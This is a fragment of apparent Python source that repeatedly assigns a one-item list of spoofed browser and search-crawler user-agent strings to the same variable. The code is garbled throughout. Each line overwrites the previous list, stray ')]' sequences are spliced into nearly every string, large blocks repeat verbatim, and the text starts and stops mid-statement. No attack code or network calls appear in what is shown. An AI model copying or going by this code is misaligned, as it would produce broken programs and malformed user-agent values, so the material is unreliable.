[('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = 